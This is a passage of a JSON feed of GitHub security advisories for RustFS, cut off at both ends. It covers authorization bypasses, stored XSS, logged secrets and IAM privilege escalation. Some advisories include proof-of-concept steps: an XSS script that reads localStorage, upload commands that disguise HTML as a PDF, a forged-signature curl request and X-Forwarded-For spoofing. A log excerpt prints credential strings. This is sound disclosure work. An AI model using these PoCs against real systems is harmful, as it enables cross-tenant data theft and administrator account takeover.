https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.94.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-22T19:24:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-pfcq-4gjr-6gjm","https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.94","https://nvd.nist.gov/vuln/detail/CVE-2026-40937","https://github.com/advisories/GHSA-pfcq-4gjr-6gjm"],"source_kind":"github","identifiers":["GHSA-pfcq-4gjr-6gjm","CVE-2026-40937"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T20:00:09.094Z","updated_at":"2026-10-05T15:03:50.543Z","epss_percentage":0.00487,"epss_percentile":0.39512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZmNxLTRnanItNmdqbc4ABVpl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZmNxLTRnanItNmdqbc4ABVpl","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.0.2"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZmNxLTRnanItNmdqbc4ABVpl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1teDQyLWo2d3YtcHg5OM4ABU3g","url":"https://github.com/advisories/GHSA-mx42-j6wv-px98","title":"RustFS has an authorization bypass in multipart UploadPartCopy enables cross-bucket object exfiltration","description":"RustFS contains a missing authorization check in the multipart copy path (`UploadPartCopy`). A low-privileged user who cannot read objects from a victim bucket can still exfiltrate victim objects by copying them into an attacker-controlled multipart upload and completing the upload.\n\nThis breaks tenant isolation in multi-user / multi-tenant deployments.\n\n## Impact\n**Unauthorized cross-bucket / cross-tenant data exfiltration (Confidentiality: High).**\n\nAn attacker with only minimal permissions on their own bucket (multipart upload + Put/Get on destination objects) can copy and retrieve objects from a victim bucket **without** having `s3:GetObject` (or equivalent) permission on the source.\n\nIn the attached PoC, the attacker successfully exfiltrates a 5MB private object and proves integrity via matching SHA256 and size.\n\n## Threat Model (Realistic)\n- **Victim tenant/user** owns a bucket (e.g., `victim-bucket-*`) and stores private objects (e.g., `private/finance_dump.bin`).\n- **Attacker tenant/user** has **no permissions** on the victim bucket:\n  - cannot `ListObjects`, `HeadObject`, `GetObject`, or `CopyObject` from the victim bucket.\n- Attacker has **minimal permissions only on attacker bucket**:\n  - `CreateMultipartUpload`, `UploadPart`, `UploadPartCopy`, `CompleteMultipartUpload`, `AbortMultipartUpload`,\n  - and `PutObject`/`GetObject` for objects in attacker bucket.\n- Despite this, attacker can exfiltrate victim objects via multipart copy.\n\n## Root Cause Analysis\nThe access control layer fails open for multipart copy-related operations:\n\nFile: `rustfs/src/storage/access.rs`\n- `abort_multipart_upload()` returns `Ok(())` without authorization (L435–437)\n- `complete_multipart_upload()` returns `Ok(())` without authorization (L442–444)\n- `upload_part_copy()` returns `Ok(())` without authorization (L1446–1448)\n\nIn contrast, `copy_object()` correctly enforces authorization:\n- source `GetObject` authorization (L469)\n- destination `PutObject` authorization (L478)\n\nThe multipart copy implementation reads the source object directly:\n\nFile: `rustfs/src/app/multipart_usecase.rs`\n- `store.get_object_reader(\u0026src_bucket, \u0026src_key, ...)` (L959–962)\n\nBecause `upload_part_copy()` does not enforce source `GetObject` authorization, the server reads and copies victim data even when the requester lacks permission.\n\n## Affected Versions\n- **Tested vulnerable on:** `main` @ `c1d5106acc3480c275a52344df84633bb6dcd8f0`\n- **Git describe:** `1.0.0-alpha.86-3-gc1d5106a`\n\nThe fail-open authorization behavior for `UploadPartCopy` was introduced in:\n- **Commit:** `09ea11c13` (per `git blame` on `rustfs/src/storage/access.rs:1443-1448`)\n\n**Affected range (recommended wording):**\n- All versions **from** commit `09ea11c13` **through** `c1d5106acc3480c275a52344df84633bb6dcd8f0` (and likely any releases containing those commits) until a fix is applied.\n\n### Package version (Cargo metadata)\n- `rustfs` crate version in this tree: **0.0.5** (`cargo metadata`)\n\n## Proof of Concept (PoC) – Real Commands + Verified Results\n\n### Files\nPlace the PoC script at the repository root:\n\n- **PoC script:** [`poc_uploadpartcopy_exfil_v3.sh`](https://github.com/user-attachments/files/26006935/poc_uploadpartcopy_exfil_v3.sh)\n- **Captured output:** [`poc_v3_output.txt`](https://github.com/user-attachments/files/26006938/poc_v3_output.txt)\n- *(Optional)* **Redacted debug log:** `upload_part_copy_debug_redacted.log` (Authorization/signature redacted)\n\n### Environment \nRustFS running locally (Docker is simplest), listening on:\n\n- `http://127.0.0.1:9000`\n\nTools:\n- `awscli`, `jq`, `awscurl`\n\n### Steps to Reproduce\n1) Start RustFS (example):\n\n```bash\ndocker compose -f docker-compose-simple.yml up -d\n````\n\n2. Run the PoC and save output:\n\n```bash\nchmod +x poc_uploadpartcopy_exfil_v3.sh\n./poc_uploadpartcopy_exfil_v3.sh | tee poc_v3_output.txt\n```\n\n### Attachments\n\n* [`poc_uploadpartcopy_exfil_v3.sh`](https://github.com/user-attachments/files/26006950/poc_uploadpartcopy_exfil_v3.sh)\n* [`poc_v3_output.txt`](https://github.com/user-attachments/files/26006953/poc_v3_output.txt)\n\n\n### Expected Behavior\n\n* Attacker operations against victim bucket should be denied:\n\n  * `ListObjects` -\u003e AccessDenied\n  * `HeadObject` -\u003e AccessDenied\n  * `GetObject` -\u003e AccessDenied\n  * `CopyObject` -\u003e AccessDenied\n* `UploadPartCopy` from victim -\u003e attacker multipart should also be denied.\n\n### Actual Behavior\n\n* All direct operations against victim are denied (as expected),\n* but **`UploadPartCopy` succeeds**, and attacker retrieves the copied object from attacker bucket.\n\n### Observed PoC Output \n\nVictim uploads a private object:\n\n* size: `5,242,880` bytes\n* sha256: `fda018db1da9d8f4c1b287c75943384a3b4ede391ec156039b6d94e17d6ad68f`\n\nAttacker exfiltrates it via multipart copy:\n\n* stolen size: `5,242,880` bytes\n* stolen sha256: `fda018db1da9d8f4c1b287c75943384a3b4ede391ec156039b6d94e17d6ad68f`\n\nProof:\n\n* hashes and sizes match (victim == stolen) -\u003e unauthorized cross-bucket read confirmed.\n\n## Network Evidence (Redacted)\n\nThe debug log shows a successful request with:\n\n* HTTP method: `PUT`\n* destination: `/\u003cattacker-bucket\u003e/\u003cdst-key\u003e?partNumber=1\u0026uploadId=...`\n* header: `x-amz-copy-source: \u003cvictim-bucket\u003e/private/finance_dump.bin`\n* response: `HTTP/1.1 200` with `\u003cCopyPartResult\u003e\u003cETag\u003e...\u003c/ETag\u003e...\u003c/CopyPartResult\u003e`\n\n\n## Fix\n\nImplement authorization checks equivalent to `copy_object()` for multipart copy paths:\n\n* `upload_part_copy`:\n\n  * enforce **source** `GetObject` authorization on `x-amz-copy-source`\n  * enforce **destination** `PutObject` authorization on the target object\n  * (recommended) apply the same tag-condition enforcement used by `copy_object()` on the source.\n\n* `complete_multipart_upload`:\n\n  * enforce destination `PutObject` authorization\n\n* `abort_multipart_upload`:\n\n  * enforce appropriate multipart permission (or destination `PutObject` as a safe boundary)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-08T00:15:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-mx42-j6wv-px98","https://nvd.nist.gov/vuln/detail/CVE-2026-39360","https://github.com/advisories/GHSA-mx42-j6wv-px98"],"source_kind":"github","identifiers":["GHSA-mx42-j6wv-px98","CVE-2026-39360"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T01:00:11.369Z","updated_at":"2026-10-07T16:04:07.771Z","epss_percentage":0.00279,"epss_percentile":0.18591,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1teDQyLWo2d3YtcHg5OM4ABU3g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1teDQyLWo2d3YtcHg5OM4ABU3g","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.0.2"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1teDQyLWo2d3YtcHg5OM4ABU3g/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OWZnLTNjcjItMjc3as4ABS2Q","url":"https://github.com/advisories/GHSA-v9fg-3cr2-277j","title":"Rust has Critical Stored XSS in Preview Modal, leading to Administrative Account Takeover","description":"### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the RustFS Console allows an attacker to execute arbitrary JavaScript in the context of the management console. By bypassing the PDF preview logic, an attacker can steal administrator credentials from `localStorage`, leading to full account takeover and system compromise.\n\n### Details\nThe vulnerability exists due to improper validation of the response content type during the file preview process and a lack of origin separation between the S3 object delivery and the management console.\n\n1. **Origin of Credentials**: The RustFS Console stores highly sensitive S3 credentials (AccessKey, SecretKey, SessionToken) in the browser's `localStorage`.\n   - **File**: `console/composables/useAuth.ts`\n   - **Evidence**: [Lines 14](https://github.com/rustfs/console/blob/c2bd75adacad0d0182c32d5271e8ff150c4a02db/composables/useAuth.ts#L14) and [18-25](https://github.com/rustfs/console/blob/c2bd75adacad0d0182c32d5271e8ff150c4a02db/composables/useAuth.ts#L18-L25) show that credentials are held in `useLocalStorage('auth.credentials', {})` and `useLocalStorage('auth.permanent', undefined)`.\n2. **Insecure Preview Implementation**: In `console/components/object/preview-modal.vue`, the application identifies a PDF file based on its extension or metadata and [renders it using an `\u003ciframe\u003e`](https://github.com/rustfs/console/blob/6ab024be1c49bc9549a24ed1d09348f5e7039876/components/object/preview-modal.vue#L10).\n3. **Same-Origin Vulnerability**: RustFS typically hosts the management console and the S3 API on the same origin (e.g., the same IP and port). \n4. **Bypass Attack**: An attacker can upload a file named `xss.pdf` but set its `Content-Type` metadata to `text/html`. Because the `iframe` is hosted on the same origin as the console, the executed script has unrestricted access to the parent window's `localStorage`.\n\n### PoC\n\u003cimg width=\"6006\" height=\"3096\" alt=\"CleanShot 2026-02-01 at 18 36 54@2x\" src=\"https://github.com/user-attachments/assets/f2f5dae6-1e19-4133-9a69-f7d8ec604dad\" /\u003e\n\nThis PoC demonstrates how to steal a victim's administrative credentials by tricking them into previewing a malicious file.\n\n**1. Create the malicious payload (`xss.html`):**\n```html\n\u003cscript\u003e\n  alert('XSS Success!\\nLocalStorage Data: ' + JSON.stringify(window.parent.localStorage));\n\u003c/script\u003e\n```\n\n**2. Setup the environment and upload the payload:**\n```bash\n# 1. Create a target bucket\nmc mb rustfs/my-bucket\n\n# 2. Upload the HTML file as a PDF with HTML content type\nmc cp xss.html rustfs/my-bucket/xss.pdf --attr \"Content-Type=text/html\"\n```\n\n**3. Trigger the vulnerability:**\n1. Login to the RustFS Console as an administrator.\n2. Navigate to `my-bucket`.\n3. Click the \"Preview\" button for the `xss.pdf` file.\n4. The JavaScript executes, demonstrating access to the administrative session data.\n\n### Impact\n- **Character**: Stored Cross-Site Scripting (XSS).\n- **Target**: System Administrators using the Console.\n- **Result**: Full Account Takeover (ATO). An attacker gains the victim's `AccessKeyId`, `SecretAccessKey`, and `SessionToken`. This allows the attacker to perform any administrative action, including deleting data, creating backdoors, or downloading the entire filesystem via the S3 API.\n\n### Proposed Mitigation\n1. **Origin Separation**: Implement a dedicated domain for data delivery (e.g., `*.data.rustfs.io`) that is different from the console domain. This leverages the Same-Origin Policy (SOP) to isolate user-uploaded content.\n2. **Security Headers**: Implement strict security headers in the backend:\n   - `Content-Security-Policy (CSP)`: Disallow inline scripts and restrict script execution.\n   - `X-Content-Type-Options: nosniff`: Prevent browsers from sniffing and executing content that differs from the declared type.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-25T23:00:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-v9fg-3cr2-277j","https://nvd.nist.gov/vuln/detail/CVE-2026-27822","https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.83","https://github.com/advisories/GHSA-v9fg-3cr2-277j"],"source_kind":"github","identifiers":["GHSA-v9fg-3cr2-277j","CVE-2026-27822"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-26T00:00:08.843Z","updated_at":"2026-10-05T15:05:12.285Z","epss_percentage":0.00372,"epss_percentile":0.28524,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OWZnLTNjcjItMjc3as4ABS2Q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OWZnLTNjcjItMjc3as4ABS2Q","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.83","vulnerable_version_range":"\u003c 1.0.0-alpha.83"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OWZnLTNjcjItMjc3as4ABS2Q/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13NWZoLWY4eGgtNXgzcM4ABS2J","url":"https://github.com/advisories/GHSA-w5fh-f8xh-5x3p","title":"RustFS: Missing Post Policy Validation leads to Arbitrary Object Write","description":"### Summary\nRustFS does not validate policy conditions in presigned POST uploads (PostObject), allowing attackers to bypass content-length-range, starts-with, and Content-Type constraints. This enables unauthorized file uploads exceeding size limits, uploads to arbitrary object keys, and content-type spoofing, potentially leading to storage exhaustion, unauthorized data access, and security bypasses.\n\n### Details\nWhen generating presigned POST URLs via the AWS SDK, applications can specify policy conditions to restrict uploads. RustFS accepts these presigned requests but fails to validate the following conditions server-side:\n\n1. `content-length-range` not enforced: The server does not verify that the uploaded file size falls within the specified minimum and maximum bounds. An attacker can upload arbitrarily large files despite restrictions.\n2. `starts-with` not enforced: The server does not validate that the object key matches the required prefix. An attacker can modify the key field to upload files to any path in the bucket.\n3. `Content-Type` (exact match) not enforced: The server does not verify that the uploaded file's content type matches the policy constraint. An attacker can upload files with any content type.\n\nThe vulnerability exists in the PostObject endpoint implementation, where the signed policy conditions are not parsed and validated against the actual upload request.\n\n### Impact\nVulnerability Type: Improper Input Validation / Authorization Bypass\n##### Who is affected:\nAny application using RustFS as an S3-compatible backend that relies on presigned POST policy conditions for access control or upload restrictions.\n##### Potential attack scenarios:\n1. Storage Exhaustion / Denial of Service: Attackers can upload arbitrarily large files, bypassing size limits, potentially filling up disk space and causing service outages.\n2. Unauthorized Data Access/Modification: By bypassing starts-with conditions, attackers can upload files to restricted paths (e.g., overwriting configuration files, accessing other users' directories in multi-tenant systems).\n3. Content-Type Spoofing: Bypassing content-type restrictions could enable serving malicious content (e.g., HTML/JavaScript files in contexts expecting only images), potentially leading to XSS attacks if files are served to browsers.\n\n**Severity**:  The vulnerability allows complete bypass of server-enforced upload policies, undermining the security model that applications rely upon.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-25T22:38:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-w5fh-f8xh-5x3p","https://nvd.nist.gov/vuln/detail/CVE-2026-27607","https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.83","https://github.com/advisories/GHSA-w5fh-f8xh-5x3p"],"source_kind":"github","identifiers":["GHSA-w5fh-f8xh-5x3p","CVE-2026-27607"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-25T23:00:07.186Z","updated_at":"2026-10-05T15:05:12.289Z","epss_percentage":0.00406,"epss_percentile":0.32551,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NWZoLWY4eGgtNXgzcM4ABS2J","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13NWZoLWY4eGgtNXgzcM4ABS2J","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.83","vulnerable_version_range":"\u003e= 1.0.0-alpha.56, \u003c 1.0.0-alpha.82"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NWZoLWY4eGgtNXgzcM4ABS2J/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNTRnLTQ5cngtOThjcs4ABR3n","url":"https://github.com/advisories/GHSA-r54g-49rx-98cr","title":"RustFS Logs Sensitive Credentials in Plaintext","description":"### Summary\nRustFS logs sensitive credential material (access key, secret key, session token) to application logs at INFO level. This results in credentials being recorded in plaintext in log output, which may be accessible to internal or external log consumers and could lead to compromise of sensitive credentials. This vulnerability is classified as an information disclosure issue (CWE-532).\n\n### Details\nThe server writes newly generated STS credential information including the access key, secret key, and session token to logs. The following excerpts from application logs demonstrate this:\n\n```\n[2026-01-17 09:13:23.127767 +11:00] INFO [rustfs::admin::handlers::sts] [rustfs/src/admin/handlers/sts.rs:138] [rustfs-worker:ThreadId(4)] AssumeRole get new_cred Credentials { access_key: \"5UGH6TM44IPA81AH1WZE\", secret_key: \"3BQ-KnO_iB5ovmd5SU4wIK6sFfaPTliftvQ_iNLS\", session_token: \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJleHAiOjE3Njg2NDQ4MDMsInBhcmVudCI6InJ1c3Rmc2FkbWluIn0.F9ZhARXyU0cB6QoFMElKK5tns_RFQM9WlpMiGVuuDOpOfNrbEKE_9IK1oaJ_yqDsBlK115uYOcQcGohjgUPhOQ\", expiration: Some(2026-01-17 10:13:23.0 +00:00:00), status: \"on\", parent_user: \"rustfsadmin\", groups: None, claims: None, name: None, description: None }\n```\nBy inspecting logs, an attacker or unauthorized internal user with access to logs could retrieve these credentials and use them to authenticate to RustFS services or perform other unauthorized actions.\n\n### Impact\n- Information Exposure: Plaintext authentication credentials appear in log files that may be retained, backed up, or forwarded to centralized logging systems.\n- Credential Compromise: Access keys, secret keys, and session tokens may be used by unauthorized individuals to authenticate to RustFS services or hijack sessions.\n- Insider Threat: Even users with limited access who can read logs may gain elevated access if they retrieve credential material.\n- Compliance Risk: Logging sensitive authentication material may violate organizational policies and industry compliance standards (e.g., PCI-DSS, SOC2, ISO 27001) that forbid exposure of authentication secrets in logs\n\n### Remediation\n- Do not include secrets in log output — redact secret_key, session_token, and similar fields.\n- Log only safe identifiers such as non-sensitive IDs (e.g., parent_user, trace ID).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-03T17:37:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-r54g-49rx-98cr","https://nvd.nist.gov/vuln/detail/CVE-2026-24762","https://github.com/advisories/GHSA-r54g-49rx-98cr"],"source_kind":"github","identifiers":["GHSA-r54g-49rx-98cr","CVE-2026-24762"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-03T18:00:08.078Z","updated_at":"2026-10-05T15:05:36.141Z","epss_percentage":0.00284,"epss_percentile":0.19019,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNTRnLTQ5cngtOThjcs4ABR3n","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNTRnLTQ5cngtOThjcs4ABR3n","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.82","vulnerable_version_range":"\u003e= 1.0.0-alpha.13, \u003c= 1.0.0-alpha.81"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNTRnLTQ5cngtOThjcs4ABR3n/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mYzZnLTJnY3AtMnFycc4ABR3m","url":"https://github.com/advisories/GHSA-fc6g-2gcp-2qrq","title":"RustFS has SourceIp bypass via spoofed X-Forwarded-For/Real-IP headers","description":"### Summary\nIP-based access control can be bypassed: get_condition_values trusts client-supplied X-Forwarded-For/X-Real-Ip without verifying a trusted proxy, so any reachable client can spoof aws:SourceIp and satisfy IP-allowlist policies.\n\n### Details\n\n  - Vulnerable code: `rustfs/src/auth.rs:289-304` sets `remote_addr` from `X-Forwarded-For`/`X-Real-Ip`, then inserts `SourceIp` via\n    `get_source_ip_raw`, with no trust boundary or proxy validation:\n      - `let remote_addr = header.get(\"x-forwarded-for\").and_then(...).or_else(|| header.get(\"x-real-ip\")...).unwrap_or(\"127.0.0.1\");`\n      - `args.insert(\"SourceIp\", vec![get_source_ip_raw(header, remote_addr)]);`\n  - This value feeds IAM/bucket policy evaluation in `rustfs/src/storage/access.rs` (authorization path), so any request that forges the header can meet `aws:SourceIp` conditions.\n  - No authentication is required beyond the request itself; the header is taken at face value even on direct connections.\n\n\n### PoC\n\n[rustfs-auth-trusted-ip-header-spoofing-poc.tar.gz](https://github.com/user-attachments/files/24038162/rustfs-auth-trusted-ip-header-spoofing-poc.tar.gz)\n\n\nSteps (already included in `rustfs-auth-trusted-ip-header-spoofing-poc/`):\n\n  1. Start RustFS with two local volumes, e.g.:\n\n```\n     mkdir -p /tmp/rustfs-data1 /tmp/rustfs-data2\n     RUSTFS_ACCESS_KEY=devadmin RUSTFS_SECRET_KEY=devadmin \\\n       cargo run --bin rustfs -- --address 0.0.0.0:9000 \\\n       /tmp/rustfs-data1 /tmp/rustfs-data2\n```\n\n  2. From `rustfs-auth-trusted-ip-header-spoofing-poc`/, run:\n\n```\n     ENDPOINT=http://127.0.0.1:9000 make run\n```\n\n     The script:\n      - Creates bucket `rustfs-trusted-ip-poc`.\n      - Applies a bucket policy allowing `s3:ListBucket` only from `10.0.0.5/32` (`Principal: {\"AWS\":[\"*\"]},` Resource array).\n      - Sends three unauthenticated `ListBucket` calls:\n          - Baseline (no spoof) → HTTP 403.\n          - Spoofed `X-Forwarded-For: 10.0.0.5` → HTTP 200 (policy bypass).\n          - Spoofed `X-Forwarded-For: 1.2.3.4` → HTTP 403.\n      - Responses saved to `poc-baseline.xml`, `poc-spoofed.xml`, `poc-deny.xml`.\n\n\n### Impact\n\n  - Vulnerability type: Authorization bypass of IP-allowlist (`aws:SourceIp`) via header spoofing.\n  - Who is impacted: Any deployment relying on `aws:SourceIp` in IAM/bucket policies for S3 operations. Attackers with network reach to RustFS can forge forwarded-IP headers to gain list/read/write where IP restrictions were meant to block them.\n\n### Credits\nIdentified by SecMate (https://secmate.dev) automated analysis and validated during manual triage.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-03T17:31:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-fc6g-2gcp-2qrq","https://github.com/rustfs/rustfs/commit/b4ba62fa3300b5b258fdc0da141481e3be7ea960","https://nvd.nist.gov/vuln/detail/CVE-2026-21862","https://github.com/advisories/GHSA-fc6g-2gcp-2qrq"],"source_kind":"github","identifiers":["GHSA-fc6g-2gcp-2qrq","CVE-2026-21862"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-03T18:00:08.078Z","updated_at":"2026-10-12T12:07:48.875Z","epss_percentage":0.00245,"epss_percentile":0.14517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mYzZnLTJnY3AtMnFycc4ABR3m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mYzZnLTJnY3AtMnFycc4ABR3m","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.78","vulnerable_version_range":"\u003c 1.0.0-alpha.78"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mYzZnLTJnY3AtMnFycc4ABR3m/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zMzN2LTY4eGgtOG1tcc4ABRLa","url":"https://github.com/advisories/GHSA-333v-68xh-8mmq","title":"RustFS's RPC signature verification logs shared secret","description":"### Summary\nInvalid RPC signatures cause the server to log the shared HMAC secret (and expected signature), which exposes the secret to log readers and enables forged RPC calls.\n\n### Details\nIn [`crates/ecstore/src/rpc/http_auth.rs:115-122`](https://github.com/rustfs/rustfs/blob/9e162b6e9ebb874cc1d06a7b33bc4a05786578aa/crates/ecstore/src/rpc/http_auth.rs#L115-L122) , the invalid signature branch logs sensitive data:\n```rs\nif signature != expected_signature {\n    error!(\n        \"verify_rpc_signature: Invalid signature: secret {}, url {}, method {}, timestamp {}, signature {}, expected_signature {}\",\n        secret, url, method, timestamp, signature, expected_signature\n    );\n\n    return Err(std::io::Error::other(\"Invalid signature\"));\n}\n```\n\nThis log line includes `secret` and `expected_signature`, both derived from the shared HMAC key. Any invalidly signed request triggers this path. The function is reachable from RPC and admin request handlers.\n\n### PoC\n1. Run RustFS with error logging enabled.\n1. Send a request with an invalid signature:\n    ```\n     ts=$(date +%s)\n     curl -v \\\n       -H \"x-rustfs-timestamp: $ts\" \\\n       -H \"x-rustfs-signature: invalid-signature\" \\\n       \"http://localhost:9000/rustfs/rpc/read_file_stream?disk=foo\u0026volume=bar\u0026path=baz\u0026offset=0\u0026length=1\"\n    ```\n1. Observed output:\n    ```\n     HTTP 403 AccessDenied: Invalid signature\n     verify_rpc_signature: Invalid signature: secret rustfsadmin, url /rustfs/rpc/read_file_stream?disk=foo\u0026volume=bar\u0026path=baz\u0026offset=0\u0026length=1, method GET, timestamp 1767852115, signature invalid-signature, expected_signature oisNxNRTb80GXf97s/PGdScJzu8QB9Oxs+uOwf8RiK8=\n    ```\n### Impact\n\n- Exposes the shared RPC HMAC secret to log readers.\n- Enables attackers with log access to forge valid RPC signatures and make unauthorized RPC calls.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-01-16T15:48:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-333v-68xh-8mmq","https://github.com/rustfs/rustfs/commit/6b2eebee1d07399ef02c0863bd515b4412a5a560","https://github.com/rustfs/rustfs/blob/9e162b6e9ebb874cc1d06a7b33bc4a05786578aa/crates/ecstore/src/rpc/http_auth.rs#L115-L122","https://nvd.nist.gov/vuln/detail/CVE-2026-22782","https://github.com/advisories/GHSA-333v-68xh-8mmq"],"source_kind":"github","identifiers":["GHSA-333v-68xh-8mmq","CVE-2026-22782"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-16T16:00:08.575Z","updated_at":"2026-10-13T12:06:05.758Z","epss_percentage":0.00524,"epss_percentile":0.4279,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zMzN2LTY4eGgtOG1tcc4ABRLa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zMzN2LTY4eGgtOG1tcc4ABRLa","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.80","vulnerable_version_range":"\u003e= 1.0.0-alpha.1, \u003c= 1.0.0-alpha.79"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zMzN2LTY4eGgtOG1tcc4ABRLa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Z3I1LXFjNnctdmNnOc4ABQ3V","url":"https://github.com/advisories/GHSA-xgr5-qc6w-vcg9","title":"RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting","description":"## Summary\n\nA flawed `deny_only` short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.\n\n## Details\n\n**akin to MinIO CVE-2025-62506**\n\n- Policy evaluation: `Policy::is_allowed` returns true when `deny_only=true` if no explicit Deny is hit, skipping all Allow checks (`crates/policy/src/policy/policy.rs:66-74`).\n- Service account creation path sets `deny_only=true` when the target user equals the caller or its parent (`rustfs/src/admin/handlers/service_account.rs:114-127`).\n- Service accounts are created without `session_policy` by default, so claims lack `SESSION_POLICY_NAME`; combined with `deny_only`, self-operations are allowed without Allow statements.\n- Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.\n\nKey code references:\n\n- `crates/policy/src/policy/policy.rs` (deny_only short-circuit)\n- `rustfs/src/admin/handlers/service_account.rs:` (deny_only set for self/parent target)\n- `crates/iam/src/sys.rs` (service account creation defaults, no session_policy)\n\n## PoC\n\nRequires `awscli`, `awscurl`, `jq`, RustFS at `http://127.0.0.1:9000`, root AK/SK 